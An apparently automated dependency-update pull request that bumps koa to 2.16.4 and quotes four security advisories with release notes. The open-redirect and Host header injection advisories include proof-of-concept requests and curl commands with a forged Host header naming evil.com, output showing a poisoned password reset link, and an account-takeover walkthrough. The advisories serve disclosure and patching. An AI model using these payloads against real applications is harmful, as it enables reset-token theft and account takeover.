fix(deps): update dependency koa to v2.16.4 [security]

[renovate]

This PR contains the following updates:

Package	Change	Age	Confidence
koa (source)	2.14.2 → 2.16.4

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Inefficient Regular Expression Complexity in koa

CVE-2025-25200 / GHSA-593f-38f6-jp5m

More information

Details

Summary

Koa uses an evil regex to parse the X-Forwarded-Proto and X-Forwarded-Host HTTP headers. This can be exploited to carry out a Denial-of-Service attack.

PoC

Coming soon.

Impact

This is a Regex Denial-of-Service attack and causes memory exhaustion. The regex should be improved and empty values should not be allowed.

Severity

• CVSS Score: 9.2 / 10 (Critical)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H

References

• https://github.com/koajs/koa/security/advisories/GHSA-593f-38f6-jp5m
• https://nvd.nist.gov/vuln/detail/CVE-2025-25200
• https://github.com/koajs/koa/commit/5054af6e31ffd451a4151a1fe144cef6e5d0d83c
• https://github.com/koajs/koa/commit/5f294bb1c7c8d9c61904378d250439a321bffd32
• https://github.com/koajs/koa/commit/93fe903fc966635a991bcf890cfc3427d33a1a08
• https://github.com/koajs/koa/releases/tag/2.15.4
• https://github.com/advisories/GHSA-593f-38f6-jp5m

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

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Koajs vulnerable to Cross-Site Scripting (XSS) at ctx.redirect() function

CVE-2025-32379 / GHSA-x2rg-q646-7m2v

More information

Details

Summary

In koa < 2.16.1 and < 3.0.0-alpha.5, passing untrusted user input to ctx.redirect() even after sanitizing it, may execute javascript code on the user who use the app.

Patches

This issue is patched in 2.16.1 and 3.0.0-alpha.5.

PoC

Coming soon...

Impact

1. Redirect user to another phishing site
2. Make request to another endpoint of the application based on user's cookie
3. Steal user's cookie

Severity

• CVSS Score: 5.0 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L

References

• https://github.com/koajs/koa/security/advisories/GHSA-x2rg-q646-7m2v
• https://github.com/koajs/koa/commit/ff25eb4a7f2392df46481fe86355161067687312
• https://nvd.nist.gov/vuln/detail/CVE-2025-32379
• https://github.com/advisories/GHSA-x2rg-q646-7m2v

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

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Koa Open Redirect via Referrer Header (User-Controlled)

CVE-2025-8129 / GHSA-jgmv-j7ww-jx2x

More information

Details

Summary

In the latest version of Koa, the back method used for redirect operations adopts an insecure implementation, which uses the user-controllable referrer header as the redirect target.

Details

on the API document https://www.koajs.net/api/response#responseredirecturl-alt, we can see:

response.redirect(url, [alt])

Performs a [302] redirect to url.
The string "back" is specially provided for Referrer support, using alt or "/" when Referrer does not exist.

ctx.redirect('back');
ctx.redirect('back', '/index.html');
ctx.redirect('/login');
ctx.redirect('http://google.com');

however, the "back" method is insecure:

• https://github.com/koajs/koa/blob/master/lib/response.js#L322

  back (alt) {
    const url = this.ctx.get('Referrer') || alt || '/'
    this.redirect(url)
  },

Referrer Header is User-Controlled.

PoC

there is a demo for POC:

const Koa = require('koa')
const serve = require('koa-static')
const Router = require('@koa/router')
const path = require('path')

const app = new Koa()
const router = new Router()

// Serve static files from the public directory
app.use(serve(path.join(__dirname, 'public')))

// Define routes
router.get('/test', ctx => {
  ctx.redirect('back', '/index1.html')
})

router.get('/test2', ctx => {
  ctx.redirect('back')
})

router.get('/', ctx => {
  ctx.body = 'Welcome to the home page! Try accessing /test, /test2'
})

app.use(router.routes())
app.use(router.allowedMethods())

const port = 3000
app.listen(port, () => {
  console.log(`Server running at http://localhost:${port}`)
}) 

Proof Of Concept

GET /test HTTP/1.1
Host: 127.0.0.1:3000
Referer: http://www.baidu.com
Connection: close

GET /test2 HTTP/1.1
Host: 127.0.0.1:3000
Referer: http://www.baidu.com
Connection: close

Impact

https://learn.snyk.io/lesson/open-redirect/

Severity

• CVSS Score: 2.0 / 10 (Low)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P

References

• https://github.com/koajs/koa/security/advisories/GHSA-jgmv-j7ww-jx2x
• https://nvd.nist.gov/vuln/detail/CVE-2025-54420
• https://github.com/koajs/koa/issues/1892
• https://github.com/koajs/koa/issues/1892#issue-3213028583
• https://github.com/koajs/koa/commit/422c551c63d00f24e2bbbdf492f262a5935bb1f0
• https://vuldb.com/?ctiid.317514
• https://vuldb.com/?id.317514
• https://vuldb.com/?submit.619741
• https://github.com/advisories/GHSA-jgmv-j7ww-jx2x

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

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Koa has Host Header Injection via ctx.hostname

CVE-2026-27959 / GHSA-7gcc-r8m5-44qm

More information

Details

Summary

Koa's ctx.hostname API performs naive parsing of the HTTP Host header, extracting everything before the first colon without validating the input conforms to RFC 3986 hostname syntax. When a malformed Host header containing a @ symbol (e.g., evil.com:fake@legitimate.com) is received, ctx.hostname returns evil.com - an attacker-controlled value. Applications using ctx.hostname for URL generation, password reset links, email verification URLs, or routing decisions are vulnerable to Host header injection attacks.

Details

The vulnerability exists in Koa's hostname getter in lib/request.js:

// Koa 2.16.1 - lib/request.js
get hostname() {
  const host = this.host;
  if (!host) return '';
  if ('[' === host[0]) return this.URL.hostname || ''; // IPv6 literal
  return host.split(':', 1)[0];
}

The host getter retrieves the raw header value with HTTP/2 and proxy support:

// Koa 2.16.1 - lib/request.js
get host() {
  const proxy = this.app.proxy;
  let host = proxy && this.get('X-Forwarded-Host');
  if (!host) {
    if (this.req.httpVersionMajor >= 2) host = this.get(':authority');
    if (!host) host = this.get('Host');
  }
  if (!host) return '';
  return host.split(',')[0].trim();
}

The Problem

The parsing logic simply splits on the first : and returns the first segment. There is no validation that the resulting string is a valid hostname per RFC 3986 Section 3.2.2.

RFC 3986 Section 3.2.2 defines the host component as:

host = IP-literal / IPv4address / reg-name
reg-name = *( unreserved / pct-encoded / sub-delims )
unreserved = ALPHA / DIGIT / "-" / "." / "_" / "~"
sub-delims = "!" / "$" / "&" / "'" / "(" / ")" / "*" / "+" / "," / ";" / "="

The @ character is explicitly NOT permitted in the host component - it is the delimiter separating userinfo from host in the authority component.

Attack Vector

When an attacker sends:

Host: evil.com:fake@legitimate.com:3000

Koa parses this as:

API	Returns	Notes
ctx.get('Host')	"evil.com:fake@legitimate.com:3000"	Raw header
ctx.hostname	"evil.com"	Attacker-controlled
ctx.host	"evil.com:fake@legitimate.com:3000"	Raw header value
ctx.origin	"http://evil.com:fake@legitimate.com:3000"	Protocol + malformed host

The ctx.hostname API returns evil.com because the parser splits on the first : without understanding that evil.com:fake@legitimate.com is a malformed authority component where evil.com:fake would be interpreted as userinfo by a proper URI parser.

Additional Concern: ctx.origin

Koa's ctx.origin property concatenates protocol and host without validation:

// lib/request.js
get origin() {
  return `${this.protocol}://${this.host}`;
}

Applications using ctx.origin for URL generation receive the full malformed Host header value, creating URLs with embedded credentials that browsers may interpret as userinfo.

HTTP/2 Consideration

Koa explicitly checks httpVersionMajor >= 2 to read the :authority pseudo-header:

if (this.req.httpVersionMajor >= 2) host = this.get(':authority');

The same vulnerability applies - malformed :authority values containing userinfo would be accepted and parsed identically.

PoC

Setup

// server.js
const Koa = require('koa'); 
const app = new Koa();

// Simulates password reset URL generation (common vulnerable pattern)
app.use(async ctx => {
  if (ctx.path === '/forgot-password') {
    const resetToken = 'abc123securtoken';
    const resetUrl = `${ctx.protocol}://${ctx.hostname}/reset?token=${resetToken}`;
    
    ctx.body = {
      message: 'Password reset link generated',
      resetUrl: resetUrl,
      debug: {
        rawHost: ctx.get('Host'),
        parsedHostname: ctx.hostname,
        origin: ctx.origin,
        protocol: ctx.protocol
      }
    };
  }
});

app.listen(3000, () => console.log('Server on http://localhost:3000'));

Exploit

curl -H "Host: evil.com:fake@localhost:3000" http://localhost:3000/forgot-password

Result

{
  "message": "Password reset link generated",
  "resetUrl": "http://evil.com/reset?token=abc123securtoken",
  "debug": {
    "rawHost": "evil.com:fake@localhost:3000",
    "parsedHostname": "evil.com",
    "origin": "http://evil.com:fake@localhost:3000",
    "protocol": "http"
  }
}

The password reset URL points to evil.com instead of the legitimate server. In a real attack:

1. Attacker requests password reset for victim's email with malicious Host header
2. Server generates reset link using ctx.hostname → https://evil.com/reset?token=SECRET
3. Victim receives email with poisoned link
4. Victim clicks link, token is sent to attacker's server
5. Attacker uses token to reset victim's password

Additional Test Cases

##### Basic injection
curl -H "Host: evil.com:x@legitimate.com" http://localhost:3000/forgot-password

##### Result: hostname = "evil.com"

##### With port preservation attempt
curl -H "Host: evil.com:443@legitimate.com:3000" http://localhost:3000/forgot-password  

##### Result: hostname = "evil.com"

##### Unicode/encoded variations
curl -H "Host: evil.com:x%40legitimate.com" http://localhost:3000/forgot-password

##### Result: hostname = "evil.com"

Deployment Consideration

For this attack to succeed in production, the malicious Host header must reach the Koa application. This occurs when:

1. No reverse proxy - Application directly exposed to internet
2. Misconfigured proxy - Proxy doesn't override/validate Host header
3. Proxy trust enabled (app.proxy = true) - X-Forwarded-Host can be injected
4. Default virtual host - Server is the catch-all for unrecognized Host headers

Impact

Vulnerability Type

• CWE-20: Improper Input Validation
• CWE-644: Improper Neutralization of HTTP Headers for Scripting Syntax

Attack Scenarios

1. Password Reset Poisoning (High Severity)

• Attacker hijacks password reset tokens by poisoning reset URLs
• Requires victim to click link in email
• Results in account takeover

2. Email Verification Bypass

• Attacker poisons email verification links
• Can verify attacker-controlled email on victim accounts

3. OAuth/SSO Callback Manipulation

• Applications using ctx.hostname for OAuth redirect URIs
• Attacker redirects OAuth callbacks to malicious server
• Results in token theft

4. Web Cache Poisoning

• If responses are cached without Host in cache key
• Poisoned URLs served to all users
• Persistent XSS/phishing via cached responses

5. Server-Side Request Forgery (SSRF)

• Internal routing decisions based on ctx.hostname
• Attacker manipulates which backend receives requests

Who Is Impacted

• Direct impact: Any Koa application using ctx.hostname or ctx.origin for URL generation without additional validation
• Common patterns: Password reset, email verification, webhook URL generation, multi-tenant routing, OAuth implementations

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

References

• https://github.com/koajs/koa/security/advisories/GHSA-7gcc-r8m5-44qm
• https://nvd.nist.gov/vuln/detail/CVE-2026-27959
• https://github.com/koajs/koa/commit/55ab9bab044ead4e82c70a30a4f9dc0fc9c1b6df
• https://github.com/koajs/koa/commit/b76ddc01fdb703e51652b0fd131d16394cadcfeb
• https://github.com/advisories/GHSA-7gcc-r8m5-44qm

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

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Release Notes

koajs/koa (koa)

v2.16.4

Compare Source

What's Changed

• fix(security): Host Header Injection via ctx.hostname by @​killagu GHSA-7gcc-r8m5-44qm

v2.16.3

Compare Source

What's Changed

• fix: normalize referer before redirect by @​fengmk2 in #​1909

Full Changelog: koajs/koa@v2.16.2...v2.16.3

v2.16.2

Compare Source

What's Changed

• fix: only allow back redirect to the same origin referer by @​fengmk2 in #​1898

Full Changelog: koajs/koa@v2.16.1...v2.16.2

v2.16.1

Compare Source

fix: don't render redirect values in anchor ref

v2.16.0

Compare Source

This is a backported release to fix core underlying issue with HEAD requests when using http2.createSecureServer. See discussion at #​1593 and #​1547.

• fix missing cleanup, if response socket is no longer writeable (issue 1547) (#​1593) 399cb6b

v2.15.4

Compare Source

Full Changelog: koajs/koa@2.15.3...2.15.4

Fix: avoid redos on host and protocol getter, see GHSA-593f-38f6-jp5m

v2.15.3

Compare Source

v2.15.2

Compare Source

v2.15.1

Compare Source

v2.15.0

Compare Source

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